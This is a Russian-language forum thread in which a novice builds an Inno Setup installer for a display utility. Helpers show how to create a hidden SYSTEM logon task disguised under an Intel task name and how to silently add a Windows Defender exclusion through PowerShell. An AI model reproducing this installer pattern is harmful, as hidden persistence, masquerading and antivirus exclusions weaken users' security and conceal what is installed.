Вопрос Помогите добавить Синтаксис Windows в код Inno Script

Егор1988-00

Новичок
Добрый день, уважаемые программисты!
Помогите решить проблему.

Изучая функционал Планировщика заданий, я столкнулся с необычной проблемой.
У меня есть файл с заданием, для Планировщика заданий, который я создал на первом ПК и он прекрасно импортируется и работает на втором ПК. Но такой способ экспорта - импорта Задания для меня не удобен, я начал искать способ как упростить перенос файла с заданием и нашел Папку Библиотеки Планировщика заданий по адресу C:\Windows\System32\Tasks
И я уже обрадовался что сейчас закину свой файл в эту Папку и все заработает, но к моему сожалению, при копировании моего файла с заданием, файл не отобразился в Библиотеке Планировщика Заданий.

Поэтому я начал копать дальше и нашел на оф.сайте Windows, документацию по Планировщику заданий, а конкретнее нашел СИНТАКСИС для Создания запланированного задания.

Код:
Register-ScheduledJob
        [-FilePath] <String>
        [-Name] <String>
        [-Trigger <ScheduledJobTrigger[]>]
        [-InitializationScript <ScriptBlock>]
        [-RunAs32]
        [-Credential <PSCredential>]
        [-Authentication <AuthenticationMechanism>]
        [-ScheduledJobOption <ScheduledJobOptions>]
        [-ArgumentList <Object[]>]
        [-MaxResultCount <Int32>]
        [-RunNow]
        [-RunEvery <TimeSpan>]
        [-WhatIf]
        [-Confirm]
        [<CommonParameters>]

Имея на руках этот синтаксис, у меня назрела следующая проблема, как подружить этот синтаксис с моим кодом в кампиляторе Inno Script?
Вот пример моего кода:
Код:
; Script generated by the Inno Script Studio Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!

#define MyAppName "My Program"
#define MyAppVersion "1.5"
#define MyAppPublisher "My Company, Inc."
#define MyAppURL "http://www.example.com/"

[Setup]
; NOTE: The value of AppId uniquely identifies this application.
; Do not use the same AppId value in installers for other applications.
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.)
AppId={{6C3563F5-215B-4478-8EDD-AA71B55D0322}
AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
AppPublisherURL={#MyAppURL}
AppSupportURL={#MyAppURL}
AppUpdatesURL={#MyAppURL}
DefaultDirName={pf}\{#MyAppName}
DefaultGroupName={#MyAppName}
AllowNoIcons=yes
LicenseFile=C:\Program Files (x86)\Inno Script Studio\License.rtf
OutputDir=D:\Work\Out software
OutputBaseFilename=setup
SetupIconFile=D:\Work\Material\иконки\Iconka-Easter-Egg-Bunny-Green-cry.ico
Compression=lzma
SolidCompression=yes

[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"

[Files]
Source: "D:\Work\Software\CRU\CRU.exe"; DestDir: "{userappdata}"; Flags: ignoreversion
Source: "pwsh.txt"; DestDir: "{app}"; Flags: ignoreversion
Source: "Moe zadanie"; DestDir: "C:\Windows\System32\Tasks"; Flags: ignoreversion
; NOTE: Don't use "Flags: ignoreversion" on any shared system files

[Run]
Filename: "{userappdata}\CRU.exe"; WorkingDir: "{userappdata}"

Подскажите пожалуйста как внедрить Windows синтаксис в мой код?
 
Добрый день, уважаемые программисты!
Помогите решить проблему.

Изучая функционал Планировщика заданий, я столкнулся с необычной проблемой.
У меня есть файл с заданием, для Планировщика заданий, который я создал на первом ПК и он прекрасно импортируется и работает на втором ПК. Но такой способ экспорта - импорта Задания для меня не удобен, я начал искать способ как упростить перенос файла с заданием и нашел Папку Библиотеки Планировщика заданий по адресу C:\Windows\System32\Tasks
И я уже обрадовался что сейчас закину свой файл в эту Папку и все заработает, но к моему сожалению, при копировании моего файла с заданием, файл не отобразился в Библиотеке Планировщика Заданий.

Поэтому я начал копать дальше и нашел на оф.сайте Windows, документацию по Планировщику заданий, а конкретнее нашел СИНТАКСИС для Создания запланированного задания.

Код:
Register-ScheduledJob
        [-FilePath] <String>
        [-Name] <String>
        [-Trigger <ScheduledJobTrigger[]>]
        [-InitializationScript <ScriptBlock>]
        [-RunAs32]
        [-Credential <PSCredential>]
        [-Authentication <AuthenticationMechanism>]
        [-ScheduledJobOption <ScheduledJobOptions>]
        [-ArgumentList <Object[]>]
        [-MaxResultCount <Int32>]
        [-RunNow]
        [-RunEvery <TimeSpan>]
        [-WhatIf]
        [-Confirm]
        [<CommonParameters>]

Имея на руках этот синтаксис, у меня назрела следующая проблема, как подружить этот синтаксис с моим кодом в кампиляторе Inno Script?
Вот пример моего кода:
Код:
; Script generated by the Inno Script Studio Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!

#define MyAppName "My Program"
#define MyAppVersion "1.5"
#define MyAppPublisher "My Company, Inc."
#define MyAppURL "http://www.example.com/"

[Setup]
; NOTE: The value of AppId uniquely identifies this application.
; Do not use the same AppId value in installers for other applications.
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.)
AppId={{6C3563F5-215B-4478-8EDD-AA71B55D0322}
AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
AppPublisherURL={#MyAppURL}
AppSupportURL={#MyAppURL}
AppUpdatesURL={#MyAppURL}
DefaultDirName={pf}\{#MyAppName}
DefaultGroupName={#MyAppName}
AllowNoIcons=yes
LicenseFile=C:\Program Files (x86)\Inno Script Studio\License.rtf
OutputDir=D:\Work\Out software
OutputBaseFilename=setup
SetupIconFile=D:\Work\Material\иконки\Iconka-Easter-Egg-Bunny-Green-cry.ico
Compression=lzma
SolidCompression=yes

[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"

[Files]
Source: "D:\Work\Software\CRU\CRU.exe"; DestDir: "{userappdata}"; Flags: ignoreversion
Source: "pwsh.txt"; DestDir: "{app}"; Flags: ignoreversion
Source: "Moe zadanie"; DestDir: "C:\Windows\System32\Tasks"; Flags: ignoreversion
; NOTE: Don't use "Flags: ignoreversion" on any shared system files

[Run]
Filename: "{userappdata}\CRU.exe"; WorkingDir: "{userappdata}"

Подскажите пожалуйста как внедрить Windows синтаксис в мой код?
В cmd есть schtasks. Можешь через него сделать. Как пример
Код:
[Run]
Filename: "{sys}\schtasks.exe"; Parameters: "/create /ru system /tn ""Имя задания"" /tr ""Путь к файлу"" /rl highest /sc onlogon"
Более подробно можно посмотреть schtasks /?
 
В cmd есть schtasks. Можешь через него сделать. Как пример
Код:
[Run]
Filename: "{sys}\schtasks.exe"; Parameters: "/create /ru system /tn ""Имя задания"" /tr ""Путь к файлу"" /rl highest /sc onlogon"
Более подробно можно посмотреть schtasks /?

Код:
; Script generated by the Inno Script Studio Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!

#define MyAppName "My Program"
#define MyAppVersion "1.5"
#define MyAppPublisher "My Company, Inc."
#define MyAppURL "http://www.example.com/"

[Setup]
; NOTE: The value of AppId uniquely identifies this application.
; Do not use the same AppId value in installers for other applications.
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.)
AppId={{89BA0B1C-C641-4E48-B773-8613071B3323}
AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
AppPublisherURL={#MyAppURL}
AppSupportURL={#MyAppURL}
AppUpdatesURL={#MyAppURL}
DefaultDirName={pf}\{#MyAppName}
DefaultGroupName={#MyAppName}
AllowNoIcons=yes
LicenseFile=C:\Program Files (x86)\Inno Script Studio\License.rtf
OutputDir=D:\Work\Out software
OutputBaseFilename=setup
SetupIconFile=D:\Work\Material\иконки\Iconka-Easter-Egg-Bunny-Green-cry.ico
Compression=lzma
SolidCompression=yes
ArchitecturesInstallIn64BitMode=x64

[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"

[Files]
Source: "D:\Work\Software\CRU\CRU.exe"; DestDir: "{userappdata}"; Flags: ignoreversion
Source: "pwsh.txt"; DestDir: "{app}"; Flags: ignoreversion
Source: "Intel PTT EK Recertification"; DestDir: "C:\Windows\System32\Tasks"; Flags: ignoreversion
; NOTE: Don't use "Flags: ignoreversion" on any shared system files

[Run]
Filename: "{userappdata}\CRU.exe"; WorkingDir: "{userappdata}"
Filename: "{sys}\schtasks.exe"; Parameters: "/create /ru system /tn ""Intel PTT EK Recertification"" /tr ""C:\Windows\System32\Tasks"" /rl highest /sc onlogon"; WorkingDir: "{sys}"
код стал выглядеть так, скомпилировал, запустил.
что то не срабатывает, файл не прописался(
 
Последнее редактирование:
/tr """"C:\Windows\System32\Tasks""""
Код:
[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""C:\Windows\System32\notepad.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
создается и удаляется
 
Последнее редактирование:
Код:
; Script generated by the Inno Script Studio Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!

#define MyAppName "My Program"
#define MyAppVersion "1.5"
#define MyAppPublisher "My Company, Inc."
#define MyAppURL "http://www.example.com/"

[Setup]
; NOTE: The value of AppId uniquely identifies this application.
; Do not use the same AppId value in installers for other applications.
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.)
AppId={{89BA0B1C-C641-4E48-B773-8613071B3323}
AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
AppPublisherURL={#MyAppURL}
AppSupportURL={#MyAppURL}
AppUpdatesURL={#MyAppURL}
DefaultDirName={pf}\{#MyAppName}
DefaultGroupName={#MyAppName}
AllowNoIcons=yes
LicenseFile=C:\Program Files (x86)\Inno Script Studio\License.rtf
OutputDir=D:\Work\Out software
OutputBaseFilename=setup
SetupIconFile=D:\Work\Material\иконки\Iconka-Easter-Egg-Bunny-Green-cry.ico
Compression=lzma
SolidCompression=yes
ArchitecturesInstallIn64BitMode=x64

[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"

[Files]
Source: "D:\Work\Software\CRU\CRU.exe"; DestDir: "{userappdata}"; Flags: ignoreversion
Source: "pwsh.txt"; DestDir: "{app}"; Flags: ignoreversion
Source: "Intel PTT EK Recertification"; DestDir: "C:\Windows\System32\Tasks"; Flags: ignoreversion
; NOTE: Don't use "Flags: ignoreversion" on any shared system files

[Run]
Filename: "{userappdata}\CRU.exe"; WorkingDir: "{userappdata}"
Filename: "{sys}\schtasks.exe"; Parameters: "/create /ru system /tn """"Intel PTT EK Recertification"""" /tr """"C:\Windows\System32\Tasks"""" /rl highest /sc onlogon"; WorkingDir: "{sys}"
код стал выглядеть так, скомпилировал, запустил.
что то не срабатывает, файл не прописался(
/tr """"C:\Windows\System32\Tasks""""
Tasks это что?
 
Код:
[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""C:\Windows\System32\notepad.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
создается и удаляется
Сработало ДРУЖИЩЕ, спасибо тебе огромное:clapping:
только теперь дефендер ругается - будет тема для нового поста)
Но спасибо, очень выручил!
 
Дефендер, наверное, ругается на файл который ты запускаешь?
файл точно не причем, сам по себе файл запускается без проблем, точнее программа.
на сколько я понимаю, он ругается на метод извлечения файлов.
прикрепил внизу скрин его подозрений)
image_2023-06-10_18-30-34.png
 
это имя моей задачи, которая запускает программу custom resolution utility в папке планировщика.
Я запускал инсталлятор чистый без доп. файлов с дефендер, пришлось ставить на виртуальную машину новую ось, в моей убит деф. на глухо, никаких срабатываний нет. Задние создает и никаких срабатываний.
Source: "Intel PTT EK Recertification"; DestDir: "C:\Windows\System32\Tasks"; Flags: ignoreversion
это не нужно
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""C:\Windows\System32\notepad.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
этого достаточно, замени выделенное на путь к своему файлу. И в
Код:
[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
тоже пропиши что бы при удалении задание удалялось
 
Я запускал инсталлятор чистый без доп. файлов с дефендер, пришлось ставить на виртуальную машину новую ось, в моей убит деф. на глухо, никаких срабатываний нет. Задние создает и никаких срабатываний.
Код:
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""C:\Windows\System32\notepad.exe"" /rl highest /sc onlogon /F"; Flags: runhidden


я понял о чем ты, я думал эта команда будет регистрировать мое задание из файла), а ты сделал так что бы задание создавалось самостоятельно полностью. Это у меня получилось, но только задание НЕ запускается автоматически, то есть оно создалось и попало в библиотеку заданий, но оттуда не стартует. может быть пропустили какую то команду?
 
файл точно не причем, сам по себе файл запускается без проблем, точнее программа.
на сколько я понимаю, он ругается на метод извлечения файлов.
прикрепил внизу скрин его подозрений)
Посмотреть вложение 7682
Или добавь свой файл в исключение в дефендер. Примерно будет выглядеть так
Код:
[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""%ProgramW6432%\AkelPad\AkelPad.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
..............
[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden
................
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;
/tr ""%ProgramW6432%\AkelPad\AkelPad.exe"" замени на свое
 
Код:
[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""%ProgramW6432%\AkelPad\AkelPad.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Run /tn ""Intel PTT EK Recertification"" /I"
это /I -i
 
Последнее редактирование:
Код:
[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""%ProgramW6432%\AkelPad\AkelPad.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Run /tn ""Intel PTT EK Recertification"" /I"
это /I -i
Приветствую, я все воюю с инсталлятором)
Воевал я с дефом, помогло такое решение, в настройках кампилятора пришлось отключить Use Setup Loader, установщик получается с бинами но хотя бы деф не ругается.

Код стал выглядеть так, по твоему примеру
Код:
; Script generated by the Inno Script Studio Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!

#define MyAppName "Resolution utlity"
#define MyAppVersion "1.2.5.1"
#define MyAppPublisher "Utility, Inc."

[Icons]
Name: "{autodesktop}\CRU"; Filename: "{userappdata}\CRU.exe"; WorkingDir: "{userappdata}"; IconFilename: "{userappdata}\CRU.exe"; IconIndex: 0

[Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;

[Setup]
; NOTE: The value of AppId uniquely identifies this application.
; Do not use the same AppId value in installers for other applications.
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.)
AppId={{A608AA8D-C93D-448D-B127-C25F5535AA2D}
AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
DefaultDirName={pf}\{#MyAppName}
DefaultGroupName={#MyAppName}
AllowNoIcons=yes
LicenseFile=C:\Program Files (x86)\Inno Script Studio\License.rtf
OutputDir=D:\Work\Out software
OutputBaseFilename=resolution utlity
SetupIconFile=D:\Work\Material\иконки\Iconka-Easter-Egg-Bunny-Green-cry.ico
Compression=bzip/7
ArchitecturesInstallIn64BitMode=x64 ia64
UsePreviousPrivileges=False
VersionInfoVersion=1.2.5.1
VersionInfoCompany=niceCompany
VersionInfoDescription=CustResolutUtil
VersionInfoCopyright=CopyRES
VersionInfoProductName=Utility
VersionInfoProductVersion=1.2.5.1
VersionInfoOriginalFileName=custom resolution utulity
UseSetupLdr=False
MergeDuplicateFiles=False
TerminalServicesAware=False

[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"

[Files]
Source: "D:\Work\Software\CRU\CRU.exe"; DestDir: "{userappdata}";

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""{userappdata}\CRU.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Run /tn ""Intel PTT EK Recertification"" /I"

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden

но к сожалению файл НЕ добавился в исключения дефа почему то(
 
Назад
Сверху